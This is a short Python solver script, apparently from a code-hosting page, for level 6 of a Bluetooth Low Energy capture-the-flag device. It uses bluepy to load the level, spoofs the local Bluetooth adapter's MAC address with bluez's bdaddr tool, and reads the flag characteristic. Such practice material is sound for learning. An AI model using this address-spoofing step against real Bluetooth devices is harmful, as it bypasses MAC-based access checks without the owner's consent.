Newer
Older
BLE_CTF_V2 / lvl_06.py
  1. #! /usr/bin/python
  2. import binascii
  3. import struct
  4. import sys, os, time
  5. import bluepy.btle as btle
  6. import subprocess
  7. '''
  8. 42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
  9. 44 0x2C READ
  10. 46 0x2E READ WRITE write here to goto to scoreboard
  11.  
  12. '''
  13.  
  14. deviceMAC = open('ctf_mac.txt').read()
  15. p = btle.Peripheral(deviceMAC)
  16. svc=p.getServiceByUUID(0x00FF)
  17. print ("Attached to peripheral")
  18.  
  19. print("Loading level 06")
  20. hex1 = binascii.unhexlify(str('%0*x' % (4,6)))
  21. p.writeCharacteristic(0x30, hex1, withResponse=False)
  22.  
  23. subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
  24.  
  25. print("Reading value")
  26. hex1 = p.readCharacteristic(0x2C)
  27. hex2 = binascii.b2a_hex(hex1)
  28. hexlif2 = str(binascii.unhexlify(hex2))
  29. print("Flag: %s" % hexlif2)
  30.  
  31. p.disconnect()
Buy Me A Coffee